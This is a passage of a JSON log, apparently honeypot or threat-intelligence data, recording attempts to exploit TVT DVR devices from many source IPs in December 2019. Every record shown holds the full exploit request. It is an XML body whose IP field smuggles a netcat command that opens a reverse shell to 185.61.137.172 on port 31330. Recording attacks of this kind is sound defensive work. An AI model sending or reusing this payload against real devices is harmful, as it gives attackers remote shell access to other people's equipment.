  8690.       "source_ip_address": "189.190.16.210",
  8691.       "country": "MX",
  8692.       "user_agent": "Help",
  8693.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8694.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8695.       "target_port": 81,
  8696.       "protocol": "tcp",
  8697.       "tags": [
  8698.         {
  8699.           "cve": "",
  8700.           "category": "IoT",
  8701.           "description": "TVT (Generic OEM) DVR RCE"
  8702.         }
  8703.       ],
  8704.       "event_count": 1,
  8705.       "first_seen": "2019-12-20T05:36:59Z",
  8706.       "last_seen": "2019-12-20T05:36:59Z"
  8707.     },
  8708.     {
  8709.       "source_ip_address": "60.52.117.101",
  8710.       "country": "MY",
  8711.       "user_agent": "Help",
  8712.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8713.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8714.       "target_port": 8080,
  8715.       "protocol": "tcp",
  8716.       "tags": [
  8717.         {
  8718.           "cve": "",
  8719.           "category": "IoT",
  8720.           "description": "TVT (Generic OEM) DVR RCE"
  8721.         }
  8722.       ],
  8723.       "event_count": 1,
  8724.       "first_seen": "2019-12-20T05:16:34Z",
  8725.       "last_seen": "2019-12-20T05:16:34Z"
  8726.     },
  8727.     {
  8728.       "source_ip_address": "114.33.24.233",
  8729.       "country": "TW",
  8730.       "user_agent": "Help",
  8731.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8732.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8733.       "target_port": 8000,
  8734.       "protocol": "tcp",
  8735.       "tags": [
  8736.         {
  8737.           "cve": "",
  8738.           "category": "IoT",
  8739.           "description": "TVT (Generic OEM) DVR RCE"
  8740.         }
  8741.       ],
  8742.       "event_count": 1,
  8743.       "first_seen": "2019-12-20T05:12:00Z",
  8744.       "last_seen": "2019-12-20T05:12:00Z"
  8745.     },
  8746.     {
  8747.       "source_ip_address": "154.66.193.206",
  8748.       "country": "ZA",
  8749.       "user_agent": "Help",
  8750.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8751.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8752.       "target_port": 80,
  8753.       "protocol": "tcp",
  8754.       "tags": [
  8755.         {
  8756.           "cve": "",
  8757.           "category": "IoT",
  8758.           "description": "TVT (Generic OEM) DVR RCE"
  8759.         }
  8760.       ],
  8761.       "event_count": 2,
  8762.       "first_seen": "2019-12-20T05:06:29Z",
  8763.       "last_seen": "2019-12-20T05:06:29Z"
  8764.     },
  8765.     {
  8766.       "source_ip_address": "118.150.144.122",
  8767.       "country": "TW",
  8768.       "user_agent": "Help",
  8769.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8770.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8771.       "target_port": 8080,
  8772.       "protocol": "tcp",
  8773.       "tags": [
  8774.         {
  8775.           "cve": "",
  8776.           "category": "IoT",
  8777.           "description": "TVT (Generic OEM) DVR RCE"
  8778.         }
  8779.       ],
  8780.       "event_count": 1,
  8781.       "first_seen": "2019-12-20T04:40:54Z",
  8782.       "last_seen": "2019-12-20T04:40:54Z"
  8783.     },
  8784.     {
  8785.       "source_ip_address": "218.161.25.58",
  8786.       "country": "TW",
  8787.       "user_agent": "Help",
  8788.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8789.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8790.       "target_port": 80,
  8791.       "protocol": "tcp",
  8792.       "tags": [
  8793.         {
  8794.           "cve": "",
  8795.           "category": "IoT",
  8796.           "description": "TVT (Generic OEM) DVR RCE"
  8797.         }
  8798.       ],
  8799.       "event_count": 1,
  8800.       "first_seen": "2019-12-20T04:13:53Z",
  8801.       "last_seen": "2019-12-20T04:13:53Z"
  8802.     },
  8803.     {
  8804.       "source_ip_address": "128.201.66.38",
  8805.       "country": "BR",
  8806.       "user_agent": "Help",
  8807.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8808.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8809.       "target_port": 80,
  8810.       "protocol": "tcp",
  8811.       "tags": [
  8812.         {
  8813.           "cve": "",
  8814.           "category": "IoT",
  8815.           "description": "TVT (Generic OEM) DVR RCE"
  8816.         }
  8817.       ],
  8818.       "event_count": 1,
  8819.       "first_seen": "2019-12-20T03:07:23Z",
  8820.       "last_seen": "2019-12-20T03:07:23Z"
  8821.     },
  8822.     {
  8823.       "source_ip_address": "91.240.134.122",
  8824.       "country": "PL",
  8825.       "user_agent": "Help",
  8826.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8827.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8828.       "target_port": 8000,
  8829.       "protocol": "tcp",
  8830.       "tags": [
  8831.         {
  8832.           "cve": "",
  8833.           "category": "IoT",
  8834.           "description": "TVT (Generic OEM) DVR RCE"
  8835.         }
  8836.       ],
  8837.       "event_count": 1,
  8838.       "first_seen": "2019-12-20T02:55:07Z",
  8839.       "last_seen": "2019-12-20T02:55:07Z"
  8840.     },
  8841.     {
  8842.       "source_ip_address": "37.142.240.13",
  8843.       "country": "IL",
  8844.       "user_agent": "Help",
  8845.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8846.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8847.       "target_port": 81,
  8848.       "protocol": "tcp",
  8849.       "tags": [
  8850.         {
  8851.           "cve": "",
  8852.           "category": "IoT",
  8853.           "description": "TVT (Generic OEM) DVR RCE"
  8854.         }
  8855.       ],
  8856.       "event_count": 129,
  8857.       "first_seen": "2019-12-20T02:38:42Z",
  8858.       "last_seen": "2019-12-20T02:38:42Z"
  8859.     },
  8860.     {
  8861.       "source_ip_address": "80.31.205.28",
  8862.       "country": "ES",
  8863.       "user_agent": "Help",
  8864.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8865.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8866.       "target_port": 81,
  8867.       "protocol": "tcp",
  8868.       "tags": [
  8869.         {
  8870.           "cve": "",
  8871.           "category": "IoT",
  8872.           "description": "TVT (Generic OEM) DVR RCE"
  8873.         }
  8874.       ],
  8875.       "event_count": 2,
  8876.       "first_seen": "2019-12-20T02:33:10Z",
  8877.       "last_seen": "2019-12-20T02:33:10Z"
  8878.     },
  8879.     {
  8880.       "source_ip_address": "212.57.19.186",
  8881.       "country": "TR",
  8882.       "user_agent": "Help",
  8883.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8884.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8885.       "target_port": 80,
  8886.       "protocol": "tcp",
  8887.       "tags": [
  8888.         {
  8889.           "cve": "",
  8890.           "category": "IoT",
  8891.           "description": "TVT (Generic OEM) DVR RCE"
  8892.         }
  8893.       ],
  8894.       "event_count": 2,
  8895.       "first_seen": "2019-12-20T02:32:12Z",
  8896.       "last_seen": "2019-12-20T02:32:12Z"
  8897.     },
  8898.     {
  8899.       "source_ip_address": "151.31.8.203",
  8900.       "country": "IT",
  8901.       "user_agent": "Help",
  8902.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8903.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8904.       "target_port": 80,
  8905.       "protocol": "tcp",
  8906.       "tags": [
  8907.         {
  8908.           "cve": "",
  8909.           "category": "IoT",
  8910.           "description": "TVT (Generic OEM) DVR RCE"
  8911.         }
  8912.       ],
  8913.       "event_count": 3,
  8914.       "first_seen": "2019-12-20T02:29:06Z",
  8915.       "last_seen": "2019-12-20T02:29:06Z"
  8916.     },
  8917.     {
  8918.       "source_ip_address": "114.33.220.99",
  8919.       "country": "TW",
  8920.       "user_agent": "Help",
  8921.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8922.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8923.       "target_port": 81,
  8924.       "protocol": "tcp",
  8925.       "tags": [
  8926.         {
  8927.           "cve": "",
  8928.           "category": "IoT",
  8929.           "description": "TVT (Generic OEM) DVR RCE"
  8930.         }
  8931.       ],
  8932.       "event_count": 1,
  8933.       "first_seen": "2019-12-20T02:17:36Z",
  8934.       "last_seen": "2019-12-20T02:17:36Z"
  8935.     },
  8936.     {
  8937.       "source_ip_address": "81.196.60.102",
  8938.       "country": "RO",
  8939.       "user_agent": "Help",
  8940.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8941.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8942.       "target_port": 8080,
  8943.       "protocol": "tcp",
  8944.       "tags": [
  8945.         {
  8946.           "cve": "",
  8947.           "category": "IoT",
  8948.           "description": "TVT (Generic OEM) DVR RCE"
  8949.         }
  8950.       ],
  8951.       "event_count": 2,
  8952.       "first_seen": "2019-12-20T02:06:51Z",
  8953.       "last_seen": "2019-12-20T02:06:51Z"
  8954.     },
  8955.     {
  8956.       "source_ip_address": "201.130.185.24",
  8957.       "country": "MX",
  8958.       "user_agent": "Help",
  8959.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8960.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8961.       "target_port": 8080,
  8962.       "protocol": "tcp",
  8963.       "tags": [
  8964.         {
  8965.           "cve": "",
  8966.           "category": "IoT",
  8967.           "description": "TVT (Generic OEM) DVR RCE"
  8968.         }
  8969.       ],
  8970.       "event_count": 3,
  8971.       "first_seen": "2019-12-20T01:54:59Z",
  8972.       "last_seen": "2019-12-20T01:54:59Z"
  8973.     },
  8974.     {
  8975.       "source_ip_address": "77.225.26.184",
  8976.       "country": "ES",
  8977.       "user_agent": "Help",
  8978.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8979.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8980.       "target_port": 81,
  8981.       "protocol": "tcp",
  8982.       "tags": [
  8983.         {
  8984.           "cve": "",
  8985.           "category": "IoT",
  8986.           "description": "TVT (Generic OEM) DVR RCE"
  8987.         }
  8988.       ],
  8989.       "event_count": 1,
  8990.       "first_seen": "2019-12-20T01:45:10Z",
  8991.       "last_seen": "2019-12-20T01:45:10Z"
  8992.     },
  8993.     {
  8994.       "source_ip_address": "175.140.44.216",
  8995.       "country": "MY",
  8996.       "user_agent": "Help",
  8997.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  8998.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  8999.       "target_port": 8080,
  9000.       "protocol": "tcp",
  9001.       "tags": [
  9002.         {
  9003.           "cve": "",
  9004.           "category": "IoT",
  9005.           "description": "TVT (Generic OEM) DVR RCE"
  9006.         }
  9007.       ],
  9008.       "event_count": 169,
  9009.       "first_seen": "2019-12-19T20:10:01Z",
  9010.       "last_seen": "2019-12-20T01:40:09Z"
  9011.     },
  9012.     {
  9013.       "source_ip_address": "188.130.240.116",
  9014.       "country": "RU",
  9015.       "user_agent": "Help",
  9016.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9017.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9018.       "target_port": 81,
  9019.       "protocol": "tcp",
  9020.       "tags": [
  9021.         {
  9022.           "cve": "",
  9023.           "category": "IoT",
  9024.           "description": "TVT (Generic OEM) DVR RCE"
  9025.         }
  9026.       ],
  9027.       "event_count": 2,
  9028.       "first_seen": "2019-12-20T01:38:08Z",
  9029.       "last_seen": "2019-12-20T01:38:08Z"
  9030.     },
  9031.     {
  9032.       "source_ip_address": "73.124.24.41",
  9033.       "country": "US",
  9034.       "user_agent": "Help",
  9035.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9036.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9037.       "target_port": 81,
  9038.       "protocol": "tcp",
  9039.       "tags": [
  9040.         {
  9041.           "cve": "",
  9042.           "category": "IoT",
  9043.           "description": "TVT (Generic OEM) DVR RCE"
  9044.         }
  9045.       ],
  9046.       "event_count": 3,
  9047.       "first_seen": "2019-12-20T01:38:04Z",
  9048.       "last_seen": "2019-12-20T01:38:04Z"
  9049.     },
  9050.     {
  9051.       "source_ip_address": "59.127.98.9",
  9052.       "country": "TW",
  9053.       "user_agent": "Help",
  9054.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9055.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9056.       "target_port": 88,
  9057.       "protocol": "tcp",
  9058.       "tags": [
  9059.         {
  9060.           "cve": "",
  9061.           "category": "IoT",
  9062.           "description": "TVT (Generic OEM) DVR RCE"
  9063.         }
  9064.       ],
  9065.       "event_count": 135,
  9066.       "first_seen": "2019-12-20T01:31:33Z",
  9067.       "last_seen": "2019-12-20T01:31:33Z"
  9068.     },
  9069.     {
  9070.       "source_ip_address": "201.124.33.187",
  9071.       "country": "MX",
  9072.       "user_agent": "Help",
  9073.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9074.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9075.       "target_port": 88,
  9076.       "protocol": "tcp",
  9077.       "tags": [
  9078.         {
  9079.           "cve": "",
  9080.           "category": "IoT",
  9081.           "description": "TVT (Generic OEM) DVR RCE"
  9082.         }
  9083.       ],
  9084.       "event_count": 1,
  9085.       "first_seen": "2019-12-20T01:30:43Z",
  9086.       "last_seen": "2019-12-20T01:30:43Z"
  9087.     },
  9088.     {
  9089.       "source_ip_address": "220.130.170.139",
  9090.       "country": "TW",
  9091.       "user_agent": "Help",
  9092.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9093.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9094.       "target_port": 8080,
  9095.       "protocol": "tcp",
  9096.       "tags": [
  9097.         {
  9098.           "cve": "",
  9099.           "category": "IoT",
  9100.           "description": "TVT (Generic OEM) DVR RCE"
  9101.         }
  9102.       ],
  9103.       "event_count": 3,
  9104.       "first_seen": "2019-12-20T01:24:21Z",
  9105.       "last_seen": "2019-12-20T01:24:21Z"
  9106.     },
  9107.     {
  9108.       "source_ip_address": "189.75.176.134",
  9109.       "country": "BR",
  9110.       "user_agent": "Help",
  9111.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9112.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9113.       "target_port": 80,
  9114.       "protocol": "tcp",
  9115.       "tags": [
  9116.         {
  9117.           "cve": "",
  9118.           "category": "IoT",
  9119.           "description": "TVT (Generic OEM) DVR RCE"
  9120.         }
  9121.       ],
  9122.       "event_count": 1,
  9123.       "first_seen": "2019-12-20T01:12:03Z",
  9124.       "last_seen": "2019-12-20T01:12:03Z"
  9125.     },
  9126.     {
  9127.       "source_ip_address": "114.34.112.7",
  9128.       "country": "TW",
  9129.       "user_agent": "Help",
  9130.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9131.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9132.       "target_port": 8000,
  9133.       "protocol": "tcp",
  9134.       "tags": [
  9135.         {
  9136.           "cve": "",
  9137.           "category": "IoT",
  9138.           "description": "TVT (Generic OEM) DVR RCE"
  9139.         }
  9140.       ],
  9141.       "event_count": 1,
  9142.       "first_seen": "2019-12-20T01:11:49Z",
  9143.       "last_seen": "2019-12-20T01:11:49Z"
  9144.     },
  9145.     {
